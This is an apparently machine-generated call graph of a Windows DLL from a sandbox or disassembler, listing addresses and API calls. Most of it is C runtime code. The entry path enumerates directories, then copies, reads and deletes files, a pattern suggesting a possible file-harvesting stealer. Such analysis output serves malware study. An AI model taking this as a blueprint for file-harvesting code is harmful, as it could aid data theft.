10006e0f 6681->6687 6682->6540 6683->6681 6685->6681 6686->6681 6690 100056b9 RtlLeaveCriticalSection 6687->6690 6689 10006e16 6689->6681 6690->6689 7257 10007a80 7258 10007a8d 7257->7258 7259 1000637b _abort 20 API calls 7258->7259 7260 10007aa7 7259->7260 7261 1000571e _free 20 API calls 7260->7261 7262 10007ab3 7261->7262 7263 1000637b _abort 20 API calls 7262->7263 7266 10007ad9 7262->7266 7265 10007acd 7263->7265 7264 10005eb7 11 API calls 7264->7266 7267 1000571e _free 20 API calls 7265->7267 7266->7264 7268 10007ae5 7266->7268 7267->7266 6082 10007103 GetCommandLineA GetCommandLineW 6083 10005303 6086 100050a5 6083->6086 6095 1000502f 6086->6095 6089 1000502f 5 API calls 6090 100050c3 6089->6090 6099 10005000 6090->6099 6093 10005000 20 API calls 6094 100050d9 6093->6094 6096 10005048 6095->6096 6097 10002ada _ValidateLocalCookies 5 API calls 6096->6097 6098 10005069 6097->6098 6098->6089 6100 1000502a 6099->6100 6101 1000500d 6099->6101 6100->6093 6102 10005024 6101->6102 6103 1000571e _free 20 API calls 6101->6103 6104 1000571e _free 20 API calls 6102->6104 6103->6101 6104->6100 6691 1000af43 6692 1000af59 6691->6692 6693 1000af4d 6691->6693 6693->6692 6694 1000af52 CloseHandle 6693->6694 6694->6692 6695 1000a945 6696 1000a96d 6695->6696 6697 1000a9a5 6696->6697 6698 1000a997 6696->6698 6699 1000a99e 6696->6699 6704 1000aa17 6698->6704 6708 1000aa00 6699->6708 6705 1000aa20 6704->6705 6712 1000b19b 6705->6712 6709 1000aa20 6708->6709 6710 1000b19b __startOneArgErrorHandling 21 API calls 6709->6710 6711 1000a9a3 6710->6711 6713 1000b1da __startOneArgErrorHandling 6712->6713 6715 1000b25c __startOneArgErrorHandling 6713->6715 6722 1000b59e 6713->6722 6720 1000b286 6715->6720 6725 100078a3 6715->6725 6717 1000b292 6719 10002ada _ValidateLocalCookies 5 API calls 6717->6719 6721 1000a99c 6719->6721 6720->6717 6729 1000b8b2 6720->6729 6736 1000b5c1 6722->6736 6726 100078cb 6725->6726 6727 10002ada _ValidateLocalCookies 5 API calls 6726->6727 6728 100078e8 6727->6728 6728->6720 6730 1000b8d4 6729->6730 6731 1000b8bf 6729->6731 6733 10006368 _free 20 API calls 6730->6733 6732 1000b8d9 6731->6732 6734 10006368 _free 20 API calls 6731->6734 6732->6717 6733->6732 6735 1000b8cc 6734->6735 6735->6717 6737 1000b5ec __raise_exc 6736->6737 6738 1000b7e5 RaiseException 6737->6738 6739 1000b5bc 6738->6739 6739->6715 7520 1000a1c6 IsProcessorFeaturePresent 7521 10007bc7 7522 10007bd3 ___DestructExceptionObject 7521->7522 7523 10007c0a _abort 7522->7523 7529 10005671 RtlEnterCriticalSection 7522->7529 7525 10007be7 7526 10007f86 __fassign 20 API calls 7525->7526 7527 10007bf7 7526->7527 7530 10007c10 7527->7530 7529->7525 7533 100056b9 RtlLeaveCriticalSection 7530->7533 7532 10007c17 7532->7523 7533->7532 6740 10005348 6741 10003529 ___vcrt_uninitialize 8 API calls 6740->6741 6742 1000534f 6741->6742 6743 10007b48 6753 10008ebf 6743->6753 6747 10007b55 6766 1000907c 6747->6766 6750 10007b7f 6751 1000571e _free 20 API calls 6750->6751 6752 10007b8a 6751->6752 6770 10008ec8 6753->6770 6755 10007b50 6756 10008fdc 6755->6756 6757 10008fe8 ___DestructExceptionObject 6756->6757 6790 10005671 RtlEnterCriticalSection 6757->6790 6759 1000905e 6804 10009073 6759->6804 6761 10009032 RtlDeleteCriticalSection 6764 1000571e _free 20 API calls 6761->6764 6762 1000906a _abort 6762->6747 6765 10008ff3 6764->6765 6765->6759 6765->6761 6791 1000a09c 6765->6791 6767 10009092 6766->6767 6768 10007b64 RtlDeleteCriticalSection 6766->6768 6767->6768 6769 1000571e _free 20 API calls 6767->6769 6768->6747 6768->6750 6769->6768 6771 10008ed4 ___DestructExceptionObject 6770->6771 6780 10005671 RtlEnterCriticalSection 6771->6780 6773 10008f77 6785 10008f97 6773->6785 6776 10008f83 _abort 6776->6755 6778 10008e78 66 API calls 6779 10008ee3 6778->6779 6779->6773 6779->6778 6781 10007b94 RtlEnterCriticalSection 6779->6781 6782 10008f6d 6779->6782 6780->6779 6781->6779 6788 10007ba8 RtlLeaveCriticalSection 6782->6788 6784 10008f75 6784->6779 6789 100056b9 RtlLeaveCriticalSection 6785->6789 6787 10008f9e 6787->6776 6788->6784 6789->6787 6790->6765 6792 1000a0a8 ___DestructExceptionObject 6791->6792 6793 1000a0b9 6792->6793 6794 1000a0ce 6792->6794 6795 10006368 _free 20 API calls 6793->6795 6803 1000a0c9 _abort 6794->6803 6807 10007b94 RtlEnterCriticalSection 6794->6807 6797 1000a0be 6795->6797 6799 100062ac _abort 26 API calls 6797->6799 6798 1000a0ea 6808 1000a026 6798->6808 6799->6803 6801 1000a0f5 6824 1000a112 6801->6824 6803->6765 7072 100056b9 RtlLeaveCriticalSection 6804->7072 6806 1000907a 6806->6762 6807->6798 6809 1000a033 6808->6809 6810 1000a048 6808->6810 6811 10006368 _free 20 API calls 6809->6811 6816 1000a043 6810->6816 6827 10008e12 6810->6827 6812 1000a038 6811->6812 6814 100062ac _abort 26 API calls 6812->6814 6814->6816 6816->6801 6817 1000907c 20 API calls 6818 1000a064 6817->6818 6833 10007a5a 6818->6833 6820 1000a06a 6840 1000adce 6820->6840 6823 1000571e _free 20 API calls 6823->6816 7071 10007ba8 RtlLeaveCriticalSection 6824->7071 6826 1000a11a 6826->6803 6828 10008e2a 6827->6828 6829 10008e26 6827->6829 6828->6829 6830 10007a5a 26 API calls 6828->6830 6829->6817 6831 10008e4a 6830->6831 6855 10009a22 6831->6855 6834 10007a66 6833->6834 6835 10007a7b 6833->6835 6836 10006368 _free 20 API calls 6834->6836 6835->6820 6837 10007a6b 6836->6837 6838 100062ac _abort 26 API calls 6837->6838 6839 10007a76 6838->6839 6839->6820 6841 1000adf2 6840->6841 6842 1000addd 6840->6842 6843 1000ae2d 6841->6843 6848 1000ae19 6841->6848 6844 10006355 __dosmaperr 20 API calls 6842->6844 6845 10006355 __dosmaperr 20 API calls 6843->6845 6846 1000ade2 6844->6846 6849 1000ae32 6845->6849 6847 10006368 _free 20 API calls 6846->6847 6852 1000a070 6847->6852 7028 1000ada6 6848->7028 6851 10006368 _free 20 API calls 6849->6851 6853 1000ae3a 6851->6853 6852->6816 6852->6823 6854 100062ac _abort 26 API calls 6853->6854 6854->6852 6856 10009a2e ___DestructExceptionObject 6855->6856 6857 10009a36 6856->6857 6858 10009a4e 6856->6858 6880 10006355 6857->6880 6860 10009aec 6858->6860 6864 10009a83 6858->6864 6862 10006355 __dosmaperr 20 API calls 6860->6862 6865 10009af1 6862->6865 6863 10006368 _free 20 API calls 6866 10009a43 _abort 6863->6866 6883 10008c7b RtlEnterCriticalSection 6864->6883 6868 10006368 _free 20 API calls 6865->6868 6866->6829 6870 10009af9 6868->6870 6869 10009a89 6871 10009aa5 6869->6871 6872 10009aba 6869->6872 6873 100062ac _abort 26 API calls 6870->6873 6874 10006368 _free 20 API calls 6871->6874 6884 10009b0d 6872->6884 6873->6866 6876 10009aaa 6874->6876 6878 10006355 __dosmaperr 20 API calls 6876->6878 6877 10009ab5 6935 10009ae4 6877->6935 6878->6877 6881 10005b7a _abort 20 API calls 6880->6881 6882 1000635a 6881->6882 6882->6863 6883->6869 6885 10009b34 6884->6885 6886 10009b3b 6884->6886 6889 10002ada _ValidateLocalCookies 5 API calls 6885->6889 6887 10009b5e 6886->6887 6888 10009b3f 6886->6888 6891 10009baf 6887->6891 6892 10009b92 6887->6892 6890 10006355 __dosmaperr 20 API calls 6888->6890 6893 10009d15 6889->6893 6894 10009b44 6890->6894 6896 10009bc5 6891->6896 6938 1000a00b 6891->6938 6895 10006355 __dosmaperr 20 API calls 6892->6895 6893->6877 6897 10006368 _free 20 API calls 6894->6897 6899 10009b97 6895->6899 6941 100096b2 6896->6941 6901 10009b4b 6897->6901 6904 10006368 _free 20 API calls 6899->6904 6902 100062ac _abort 26 API calls 6901->6902 6902->6885 6907 10009b9f 6904->6907 6905 10009bd3 6908 10009bf9 6905->6908 6913 10009bd7 6905->6913 6906 10009c0c 6910 10009c20 6906->6910 6911 10009c66 WriteFile 6906->6911 6909 100062ac _abort 26 API calls 6907->6909 6953 10009492 GetConsoleCP 6908->6953 6909->6885 6916 10009c56 6910->6916 6917 10009c28 6910->6917 6915 10009c89 GetLastError 6911->6915 6922 10009bef 6911->6922 6912 10009ccd 6912->6885 6924 10006368 _free 20 API calls 6912->6924 6913->6912 6948 10009645 6913->6948 6915->6922 6979 10009728 6916->6979 6918 10009c46 6917->6918 6919 10009c2d 6917->6919 6971 100098f5 6918->6971 6919->6912 6964 10009807 6919->6964 6922->6885 6922->6912 6927 10009ca9 6922->6927 6926 10009cf2 6924->6926 6930 10006355 __dosmaperr 20 API calls 6926->6930 6928 10009cb0 6927->6928 6929 10009cc4 6927->6929 6931 10006368 _free 20 API calls 6928->6931 6986 10006332 6929->6986 6930->6885 6933 10009cb5 6931->6933 6934 10006355 __dosmaperr 20 API calls 6933->6934 6934->6885 7027 10008c9e RtlLeaveCriticalSection 6935->7027 6937 10009aea 6937->6866 6991 10009f8d 6938->6991 7013 10008dbc 6941->7013 6943 100096c2 6944 100096c7 6943->6944 6945 10005af6 _abort 38 API calls 6943->6945 6944->6905 6944->6906 6946 100096ea 6945->6946 6946->6944 6947 10009708 GetConsoleMode 6946->6947 6947->6944 6951 1000966a 6948->6951 6952 1000969f 6948->6952 6949 1000a181 WriteConsoleW CreateFileW 6949->6951 6950 100096a1 GetLastError 6950->6952 6951->6949 6951->6950 6951->6952 6952->6922 6957 100094f5 6953->6957 6963 10009607 6953->6963 6954 10002ada _ValidateLocalCookies 5 API calls 6955 10009641 6954->6955 6955->6922 6958 1000957b WideCharToMultiByte 6957->6958 6960 100079e6 40 API calls __fassign 6957->6960 6962 100095d2 WriteFile 6957->6962 6957->6963 7022 10007c19 6957->7022 6959 100095a1 WriteFile 6958->6959 6958->6963 6959->6957 6961 1000962a GetLastError 6959->6961 6960->6957 6961->6963 6962->6957 6962->6961 6963->6954 6966 10009816 6964->6966 6965 100098d8 6968 10002ada _ValidateLocalCookies 5 API calls 6965->6968 6966->6965 6967 10009894 WriteFile 6966->6967 6967->6966 6969 100098da GetLastError 6967->6969 6970 100098f1 6968->6970 6969->6965 6970->6922 6978 10009904 6971->6978 6972 10009a0f 6973 10002ada _ValidateLocalCookies 5 API calls 6972->6973 6975 10009a1e 6973->6975 6974 10009986 WideCharToMultiByte 6976 10009a07 GetLastError 6974->6976 6977 100099bb WriteFile 6974->6977 6975->6922 6976->6972 6977->6976 6977->6978 6978->6972 6978->6974 6978->6977 6984 10009737 6979->6984 6980 100097ea 6981 10002ada _ValidateLocalCookies 5 API calls 6980->6981 6983 10009803 6981->6983 6982 100097a9 WriteFile 6982->6984 6985 100097ec GetLastError 6982->6985 6983->6922 6984->6980 6984->6982 6985->6980 6987 10006355 __dosmaperr 20 API calls 6986->6987 6988 1000633d _free 6987->6988 6989 10006368 _free 20 API calls 6988->6989 6990 10006350 6989->6990 6990->6885 7000 10008d52 6991->7000 6993 10009f9f 6994 10009fa7 6993->6994 6995 10009fb8 SetFilePointerEx 6993->6995 6996 10006368 _free 20 API calls 6994->6996 6997 10009fd0 GetLastError 6995->6997 6998 10009fac 6995->6998 6996->6998 6999 10006332 __dosmaperr 20 API calls 6997->6999 6998->6896 6999->6998 7001 10008d74 7000->7001 7002 10008d5f 7000->7002 7005 10006355 __dosmaperr 20 API calls 7001->7005 7007 10008d99 7001->7007 7003 10006355 __dosmaperr 20 API calls 7002->7003 7004 10008d64 7003->7004 7006 10006368 _free 20 API calls 7004->7006 7008 10008da4 7005->7008 7009 10008d6c 7006->7009 7007->6993 7010 10006368 _free 20 API calls 7008->7010 7009->6993 7011 10008dac 7010->7011 7012 100062ac _abort 26 API calls 7011->7012 7012->7009 7014 10008dd6 7013->7014 7015 10008dc9 7013->7015 7017 10008de2 7014->7017 7018 10006368 _free 20 API calls 7014->7018 7016 10006368 _free 20 API calls 7015->7016 7019 10008dce 7016->7019 7017->6943 7020 10008e03 7018->7020 7019->6943 7021 100062ac _abort 26 API calls 7020->7021 7021->7019 7023 10005af6 _abort 38 API calls 7022->7023 7024 10007c24 7023->7024 7025 10007a00 __fassign 38 API calls 7024->7025 7026 10007c34 7025->7026 7026->6957 7027->6937 7031 1000ad24 7028->7031 7030 1000adca 7030->6852 7032 1000ad30 ___DestructExceptionObject 7031->7032 7042 10008c7b RtlEnterCriticalSection 7032->7042 7034 1000ad3e 7035 1000ad70 7034->7035 7036 1000ad65 7034->7036 7038 10006368 _free 20 API calls 7035->7038 7043 1000ae4d 7036->7043 7039 1000ad6b 7038->7039 7058 1000ad9a 7039->7058 7041 1000ad8d _abort 7041->7030 7042->7034 7044 10008d52 26 API calls 7043->7044 7046 1000ae5d 7044->7046 7045 1000ae63 7061 10008cc1 7045->7061 7046->7045 7048 1000ae95 7046->7048 7051 10008d52 26 API calls 7046->7051 7048->7045 7049 10008d52 26 API calls 7048->7049 7052 1000aea1 CloseHandle 7049->7052 7054 1000ae8c 7051->7054 7052->7045 7056 1000aead GetLastError 7052->7056 7053 1000aedd 7053->7039 7055 10008d52 26 API calls 7054->7055 7055->7048 7056->7045 7057 10006332 __dosmaperr 20 API calls 7057->7053 7070 10008c9e RtlLeaveCriticalSection 7058->7070 7060 1000ada4 7060->7041 7062 10008cd0 7061->7062 7063 10008d37 7061->7063 7062->7063 7068 10008cfa 7062->7068 7064 10006368 _free 20 API calls 7063->7064 7065 10008d3c 7064->7065 7066 10006355 __dosmaperr 20 API calls 7065->7066 7067 10008d27 7066->7067 7067->7053 7067->7057 7068->7067 7069 10008d21 SetStdHandle 7068->7069 7069->7067 7070->7060 7071->6826 7072->6806 7073 10002049 7074 10002055 ___DestructExceptionObject 7073->7074 7075 100020d3 7074->7075 7076 1000207d 7074->7076 7086 1000205e 7074->7086 7077 10002639 ___scrt_fastfail 4 API calls 7075->7077 7087 1000244c 7076->7087 7079 100020da 7077->7079 7080 10002082 7096 10002308 7080->7096 7082 10002087 __RTC_Initialize 7099 100020c4 7082->7099 7084 1000209f 7102 1000260b 7084->7102 7088 10002451 ___scrt_release_startup_lock 7087->7088 7089 10002461 7088->7089 7090 10002455 7088->7090 7093 1000246e 7089->7093 7094 1000499b _abort 28 API calls 7089->7094 7091 1000527a _abort 20 API calls 7090->7091 7092 1000245f 7091->7092 7092->7080 7093->7080 7095 10004bbd 7094->7095 7095->7080 7108 100034c7 RtlInterlockedFlushSList 7096->7108 7098 10002312 7098->7082 7110 1000246f 7099->7110 7101 100020c9 ___scrt_release_startup_lock 7101->7084 7103 10002617 7102->7103 7104 1000262d 7103->7104 7129 100053ed 7103->7129 7104->7086 7107 10003529 ___vcrt_uninitialize 8 API calls 7107->7104 7109 100034d7 7108->7109 7109->7098 7115 100053ff 7110->7115 7113 1000391b ___vcrt_uninitialize_ptd 6 API calls 7114 1000354d 7113->7114 7114->7101 7118 10005c2b 7115->7118 7119 10005c35 7118->7119 7121 10002476 7118->7121 7122 10005db2 7119->7122 7121->7113 7123 10005c45 _abort 5 API calls 7122->7123 7124 10005dd9 7123->7124 7125 10005df1 TlsFree 7124->7125 7126 10005de5 7124->7126 7125->7126 7127 10002ada _ValidateLocalCookies 5 API calls 7126->7127 7128 10005e02 7127->7128 7128->7121 7132 100074da 7129->7132 7135 100074f3 7132->7135 7133 10002ada _ValidateLocalCookies 5 API calls 7134 10002625 7133->7134 7134->7107 7135->7133 7269 10008a89 7272 10006d60 7269->7272 7273 10006d69 7272->7273 7274 10006d72 7272->7274 7276 10006c5f 7273->7276 7277 10005af6 _abort 38 API calls 7276->7277 7278 10006c6c 7277->7278 7279 10006d7e __fassign 38 API calls 7278->7279 7280 10006c74 7279->7280 7296 100069f3 7280->7296 7283 10006c8b 7283->7274 7286 10006cce 7289 1000571e _free 20 API calls 7286->7289 7289->7283 7290 10006cc9 7291 10006368 _free 20 API calls 7290->7291 7291->7286 7292 10006d12 7292->7286 7320 100068c9 7292->7320 7293 10006ce6 7293->7292 7294 1000571e _free 20 API calls 7293->7294 7294->7292 7297 100054a7 __fassign 38 API calls 7296->7297 7298 10006a05 7297->7298 7299 10006a14 GetOEMCP 7298->7299 7300 10006a26 7298->7300 7302 10006a3d 7299->7302 7301 10006a2b GetACP 7300->7301 7300->7302 7301->7302 7302->7283 7303 100056d0 7302->7303 7304 1000570e 7303->7304 7308 100056de _abort 7303->7308 7305 10006368 _free 20 API calls 7304->7305 7307 1000570c 7305->7307 7306 100056f9 RtlAllocateHeap 7306->7307 7306->7308 7307->7286 7310 10006e20 7307->7310 7308->7304 7308->7306 7309 1000474f _abort 7 API calls 7308->7309 7309->7308 7311 100069f3 40 API calls 7310->7311 7312 10006e3f 7311->7312 7315 10006e90 IsValidCodePage 7312->7315 7317 10006e46 7312->7317 7319 10006eb5 ___scrt_fastfail 7312->7319 7313 10002ada _ValidateLocalCookies 5 API calls 7314 10006cc1 7313->7314 7314->7290 7314->7293 7316 10006ea2 GetCPInfo 7315->7316 7315->7317 7316->7317 7316->7319 7317->7313 7323 10006acb GetCPInfo 7319->7323 7396 10006886 7320->7396 7322 100068ed 7322->7286 7324 10006baf 7323->7324 7330 10006b05 7323->7330 7327 10002ada _ValidateLocalCookies 5 API calls 7324->7327 7329 10006c5b 7327->7329 7329->7317 7333 100086e4 7330->7333 7332 10008a3e 43 API calls 7332->7324 7334 100054a7 __fassign 38 API calls 7333->7334 7336 10008704 MultiByteToWideChar 7334->7336 7337 10008742 7336->7337 7338 100087da 7336->7338 7340 100056d0 21 API calls 7337->7340 7343 10008763 ___scrt_fastfail 7337->7343 7339 10002ada _ValidateLocalCookies 5 API calls 7338->7339 7341 10006b66 7339->7341 7340->7343 7347 10008a3e 7341->7347 7342 100087d4 7352 10008801 7342->7352 7343->7342 7345 100087a8 MultiByteToWideChar 7343->7345 7345->7342 7346 100087c4 GetStringTypeW 7345->7346 7346->7342 7348 100054a7 __fassign 38 API calls 7347->7348 7349 10008a51 7348->7349 7356 10008821 7349->7356 7353 1000880d 7352->7353 7354 1000881e 7352->7354 7353->7354 7355 1000571e _free 20 API calls 7353->7355 7354->7338 7355->7354 7358 1000883c 7356->7358 7357 10008862 MultiByteToWideChar 7359 1000888c 7357->7359 7370 10008a16 7357->7370 7358->7357 7364 100056d0 21 API calls 7359->7364 7366 100088ad 7359->7366 7360 10002ada _ValidateLocalCookies 5 API calls 7361 10006b87 7360->7361 7361->7332 7362 100088f6 MultiByteToWideChar 7363 10008962 7362->7363 7365 1000890f 7362->7365 7368 10008801 __freea 20 API calls 7363->7368 7364->7366 7383 10005f19 7365->7383 7366->7362 7366->7363 7368->7370 7370->7360 7371 10008971 7373 100056d0 21 API calls 7371->7373 7376 10008992 7371->7376 7372 10008939 7372->7363 7374 10005f19 11 API calls 7372->7374 7373->7376 7374->7363 7375 10008a07 7378 10008801 __freea 20 API calls 7375->7378 7376->7375 7377 10005f19 11 API calls 7376->7377 7379 100089e6 7377->7379 7378->7363 7379->7375 7380 100089f5 WideCharToMultiByte 7379->7380 7380->7375 7381 10008a35 7380->7381 7382 10008801 __freea 20 API calls 7381->7382 7382->7363 7384 10005c45 _abort 5 API calls 7383->7384 7385 10005f40 7384->7385 7388 10005f49 7385->7388 7391 10005fa1 7385->7391 7389 10002ada _ValidateLocalCookies 5 API calls 7388->7389 7390 10005f9b 7389->7390 7390->7363 7390->7371 7390->7372 7392 10005c45 _abort 5 API calls 7391->7392 7393 10005fc8 7392->7393 7394 10002ada _ValidateLocalCookies 5 API calls 7393->7394 7395 10005f89 LCMapStringW 7394->7395 7395->7388 7397 10006892 ___DestructExceptionObject 7396->7397 7404 10005671 RtlEnterCriticalSection 7397->7404 7399 1000689c 7405 100068f1 7399->7405 7403 100068b5 _abort 7403->7322 7404->7399 7417 10007011 7405->7417 7407 1000693f 7408 10007011 26 API calls 7407->7408 7409 1000695b 7408->7409 7410 10007011 26 API calls 7409->7410 7411 10006979 7410->7411 7412 100068a9 7411->7412 7413 1000571e _free 20 API calls 7411->7413 7414 100068bd 7412->7414 7413->7412 7431 100056b9 RtlLeaveCriticalSection 7414->7431 7416 100068c7 7416->7403 7418 10007022 7417->7418 7427 1000701e 7417->7427 7419 10007029 7418->7419 7423 1000703c ___scrt_fastfail 7418->7423 7420 10006368 _free 20 API calls 7419->7420 7421 1000702e 7420->7421 7422 100062ac _abort 26 API calls 7421->7422 7422->7427 7424 10007073 7423->7424 7425 1000706a 7423->7425 7423->7427 7424->7427 7429 10006368 _free 20 API calls 7424->7429 7426 10006368 _free 20 API calls 7425->7426 7428 1000706f 7426->7428 7427->7407 7430 100062ac _abort 26 API calls 7428->7430 7429->7428 7430->7427 7431->7416 6105 1000220c 6106 10002215 6105->6106 6107 1000221a dllmain_dispatch 6105->6107 6109 100022b1 6106->6109 6110 100022c7 6109->6110 6112 100022d0 6110->6112 6113 10002264 GetSystemTimeAsFileTime GetCurrentThreadId GetCurrentProcessId QueryPerformanceCounter 6110->6113 6112->6107 6113->6112 7136 1000724e GetProcessHeap 7137 1000284f 7138 10002882 std::exception::exception 27 API calls 7137->7138 7139 1000285d 7138->7139 7436 10003c90 RtlUnwind 7534 100036d0 7535 100036e2 7534->7535 7537 100036f0 @_EH4_CallFilterFunc@8 7534->7537 7536 10002ada _ValidateLocalCookies 5 API calls 7535->7536 7536->7537 7140 10005351 7141 10005360 7140->7141 7142 10005374 7140->7142 7141->7142 7145 1000571e _free 20 API calls 7141->7145 7143 1000571e _free 20 API calls 7142->7143 7144 10005386 7143->7144 7146 1000571e _free 20 API calls 7144->7146 7145->7142 7147 10005399 7146->7147 7148 1000571e _free 20 API calls 7147->7148 7149 100053aa 7148->7149 7150 1000571e _free 20 API calls 7149->7150 7151 100053bb 7150->7151 7538 100073d5 7539 100073e1 ___DestructExceptionObject 7538->7539 7550 10005671 RtlEnterCriticalSection 7539->7550 7541 100073e8 7542 10008be3 27 API calls 7541->7542 7543 100073f7 7542->7543 7548 10007406 7543->7548 7551 10007269 GetStartupInfoW 7543->7551 7562 10007422 7548->7562 7549 10007417 _abort 7550->7541 7552 10007286 7551->7552 7553 10007318 7551->7553 7552->7553 7554 10008be3 27 API calls 7552->7554 7557 1000731f 7553->7557 7555 100072af 7554->7555 7555->7553 7556 100072dd GetFileType 7555->7556 7556->7555 7559 10007326 7557->7559 7558 10007369 GetStdHandle 7558->7559 7559->7558 7560 100073d1 7559->7560 7561 1000737c GetFileType 7559->7561 7560->7548 7561->7559 7565 100056b9 RtlLeaveCriticalSection 7562->7565 7564 10007429 7564->7549 7565->7564 7566 10004ed7 7567 10006d60 51 API calls 7566->7567 7568 10004ee9 7567->7568 7577 10007153 GetEnvironmentStringsW 7568->7577 7571 10004ef4 7573 1000571e _free 20 API calls 7571->7573 7574 10004f29 7573->7574 7575 10004eff 7576 1000571e _free 20 API calls 7575->7576 7576->7571 7578 1000716a 7577->7578 7588 100071bd 7577->7588 7579 10007170 WideCharToMultiByte 7578->7579 7582 1000718c 7579->7582 7579->7588 7580 100071c6 FreeEnvironmentStringsW 7581 10004eee 7580->7581 7581->7571 7589 10004f2f 7581->7589 7583 100056d0 21 API calls 7582->7583 7584 10007192 7583->7584 7585 100071af 7584->7585 7586 10007199 WideCharToMultiByte 7584->7586 7587 1000571e _free 20 API calls 7585->7587 7586->7585 7587->7588 7588->7580 7588->7581 7590 10004f44 7589->7590 7591 1000637b _abort 20 API calls 7590->7591 7593 10004f6b 7591->7593 7592 1000571e _free 20 API calls 7595 10004fe9 7592->7595 7594 10004fcf 7593->7594 7596 1000637b _abort 20 API calls 7593->7596 7597 10004fd1 7593->7597 7598 1000544d ___std_exception_copy 26 API calls 7593->7598 7601 10004ff3 7593->7601 7604 1000571e _free 20 API calls 7593->7604 7594->7592 7595->7575 7596->7593 7599 10005000 20 API calls 7597->7599 7598->7593 7600 10004fd7 7599->7600 7602 1000571e _free 20 API calls 7600->7602 7603 100062bc _abort 11 API calls 7601->7603 7602->7594 7605 10004fff 7603->7605 7604->7593 6114 10002418 6115 10002420 ___scrt_release_startup_lock 6114->6115 6118 100047f5 6115->6118 6117 10002448 6119 10004804 6118->6119 6120 10004808 6118->6120 6119->6117 6123 10004815 6120->6123 6124 10005b7a _abort 20 API calls 6123->6124 6127 1000482c 6124->6127 6125 10002ada _ValidateLocalCookies 5 API calls 6126 10004811 6125->6126 6126->6117 6127->6125 7437 10004a9a 7440 10005411 7437->7440 7441 1000541d _abort 7440->7441 7442 10005af6 _abort 38 API calls 7441->7442 7445 10005422 7442->7445 7443 100055a8 _abort 38 API calls 7444 1000544c 7443->7444 7445->7443 5856 10001c5b 5857 10001c6b ___scrt_fastfail 5856->5857 5860 100012ee 5857->5860 5859 10001c87 5861 10001324 ___scrt_fastfail 5860->5861 5862 100013b7 GetEnvironmentVariableW 5861->5862 5886 100010f1 5862->5886 5865 100010f1 57 API calls 5866 10001465 5865->5866 5867 100010f1 57 API calls 5866->5867 5868 10001479 5867->5868 5869 100010f1 57 API calls 5868->5869 5870 1000148d 5869->5870 5871 100010f1 57 API calls 5870->5871 5872 100014a1 5871->5872 5873 100010f1 57 API calls 5872->5873 5874 100014b5 lstrlenW 5873->5874 5875 100014d2 5874->5875 5876 100014d9 lstrlenW 5874->5876 5875->5859 5877 100010f1 57 API calls 5876->5877 5878 10001501 lstrlenW lstrcatW 5877->5878 5879 100010f1 57 API calls 5878->5879 5880 10001539 lstrlenW lstrcatW 5879->5880 5881 100010f1 57 API calls 5880->5881 5882 1000156b lstrlenW lstrcatW 5881->5882 5883 100010f1 57 API calls 5882->5883 5884 1000159d lstrlenW lstrcatW 5883->5884 5885 100010f1 57 API calls 5884->5885 5885->5875 5887 10001118 ___scrt_fastfail 5886->5887 5888 10001129 lstrlenW 5887->5888 5899 10002c40 5888->5899 5890 10001148 lstrcatW lstrlenW 5891 10001177 lstrlenW FindFirstFileW 5890->5891 5892 10001168 lstrlenW 5890->5892 5893 100011a0 5891->5893 5894 100011e1 5891->5894 5892->5891 5895 100011c7 FindNextFileW 5893->5895 5898 100011aa 5893->5898 5894->5865 5895->5893 5896 100011da FindClose 5895->5896 5896->5894 5898->5895 5901 10001000 5898->5901 5900 10002c57 5899->5900 5900->5890 5900->5900 5902 10001022 ___scrt_fastfail 5901->5902 5903 100010af 5902->5903 5904 1000102f lstrcatW lstrlenW 5902->5904 5905 100010b5 lstrlenW 5903->5905 5906 100010ad 5903->5906 5907 1000105a lstrlenW 5904->5907 5908 1000106b lstrlenW 5904->5908 5932 10001e16 5905->5932 5906->5898 5907->5908 5918 10001e89 lstrlenW 5908->5918 5911 10001088 GetFileAttributesW 5911->5906 5913 1000109c 5911->5913 5912 100010ca 5912->5906 5914 10001e89 5 API calls 5912->5914 5913->5906 5924 1000173a 5913->5924 5916 100010df 5914->5916 5937 100011ea 5916->5937 5919 10002c40 ___scrt_fastfail 5918->5919 5920 10001ea7 lstrcatW lstrlenW 5919->5920 5921 10001ed1 lstrcatW 5920->5921 5922 10001ec2 5920->5922 5921->5911 5922->5921 5923 10001ec7 lstrlenW 5922->5923 5923->5921 5925 10001747 ___scrt_fastfail 5924->5925 5952 10001cca 5925->5952 5929 1000199f 5929->5906 5930 10001824 ___scrt_fastfail _strlen 5930->5929 5972 100015da 5930->5972 5933 10001e29 5932->5933 5936 10001e4c 5932->5936 5934 10001e2d lstrlenW 5933->5934 5933->5936 5935 10001e3f lstrlenW 5934->5935 5934->5936 5935->5936 5936->5912 5938 1000120e ___scrt_fastfail 5937->5938 5939 10001e89 5 API calls 5938->5939 5940 10001220 GetFileAttributesW 5939->5940 5941 10001235 5940->5941 5942 10001246 5940->5942 5941->5942 5944 1000173a 35 API calls 5941->5944 5943 10001e89 5 API calls 5942->5943 5945 10001258 5943->5945 5944->5942 5946 100010f1 56 API calls 5945->5946 5947 1000126d 5946->5947 5948 10001e89 5 API calls 5947->5948 5949 1000127f ___scrt_fastfail 5948->5949 5950 100010f1 56 API calls 5949->5950 5951 100012e6 5950->5951 5951->5906 5953 10001cf1 ___scrt_fastfail 5952->5953 5954 10001d0f CopyFileW CreateFileW 5953->5954 5955 10001d44 DeleteFileW 5954->5955 5956 10001d55 GetFileSize 5954->5956 5961 10001808 5955->5961 5957 10001ede 22 API calls 5956->5957 5958 10001d66 ReadFile 5957->5958 5959 10001d94 CloseHandle DeleteFileW 5958->5959 5960 10001d7d CloseHandle DeleteFileW 5958->5960 5959->5961 5960->5961 5961->5929 5962 10001ede 5961->5962 5964 1000222f 5962->5964 5965 1000224e 5964->5965 5968 10002250 5964->5968 5980 1000474f 5964->5980 5985 100047e5 5964->5985 5965->5930 5967 10002908 5969 100035d2 __CxxThrowException@8 RaiseException 5967->5969 5968->5967 5992 100035d2 5968->5992 5970 10002925 5969->5970 5970->5930 5973 1000160c _strcat _strlen 5972->5973 5974 1000163c lstrlenW 5973->5974 6080 10001c9d 5974->6080 5976 10001655 lstrcatW lstrlenW 5977 10001678 5976->5977 5978 10001693 ___scrt_fastfail 5977->5978 5979 1000167e lstrcatW 5977->5979 5978->5930 5979->5978 5995 10004793 5980->5995 5982 10004765 6001 10002ada 5982->6001 5984 1000478f 5984->5964 5990 100056d0 _abort 5985->5990 5986 1000570e 6014 10006368 5986->6014 5988 100056f9 RtlAllocateHeap 5989 1000570c 5988->5989 5988->5990 5989->5964 5990->5986 5990->5988 5991 1000474f _abort 7 API calls 5990->5991 5991->5990 5994 100035f2 RaiseException 5992->5994 5994->5967 5996 1000479f ___DestructExceptionObject 5995->5996 